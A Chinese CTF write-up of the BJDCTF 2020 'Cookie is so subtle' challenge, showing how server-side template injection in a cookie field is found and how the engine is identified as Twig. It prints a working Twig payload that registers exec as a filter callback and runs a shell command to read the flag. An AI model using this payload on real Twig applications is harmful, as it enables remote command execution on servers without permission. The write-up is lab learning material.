[BJDCTF-2020]Web-Cookie is so subtle
一.前言
在上一篇有关thinkphp3.2版本的考古漏洞中,我曾提到要先将sql注入漏洞的学习放缓一阵,是时候转头去复习一下其他方面的漏洞了。关于SSTI的话,其实以前是有学习过的,但是大部分关于SSTI的学习都是通过一些简单基础的靶场习题进行学习的,并没有学太多原理方面的知识。从现在开始,要通过BUU的靶场对SSTI的类型习题做一下集中的复习了。
正文
作为我开始复习SSTI的第一篇习题,我并没有选择太难的题目,选择了一个较为简单的题目。因为之前的学习过程里大部分的学习都几乎只局限于jinja2模板,所以这道题还是能学到一些东西的。
首先,打开题目
进入flag界面
我们随便输一个内容
从旁边的Cookie界面中我们发现了一个问题,就是我们一开始在输入框中输入的内容被放进了Cookie中的user字段里面。而且我们输入的内容在前端界面上也有回显,这让我们联想到可能是要利用Cookie进行模板注入。
我们随便输入一个payload看一下{{1}}
我们看到前端给我们的回显界面已经成功地渲染出来了我们刚刚传进去的内容。我们以此判断这个Cookie存在模板注入,我们再次深入的调查一下所用模板的情况
我们这一次传入{{'7'*7}}
我们来看一下回显
下面这句话引自知乎(https://zhuanlan.zhihu.com/p/28823933)
{{7*‘7’}}会在 Twig 中返回49,而在 Jinja2 中则是7777777
我们基于此判断出它的模板类型是Twig
我们构造如下的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
前者是将exec注册为getFilter的回调函数,后面就是通过getFilter里面的回调函数进行函数调用。
详细的getFilter代码段如下
(仍摘自上面那篇知乎文章)
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
最终我们通过burp发包成功拿到flag
后记
这一次接触了Twig模板的注入,以前的话接触过smarty,jinja2。但是Twig真的是第一次遇见,就当积累经验了。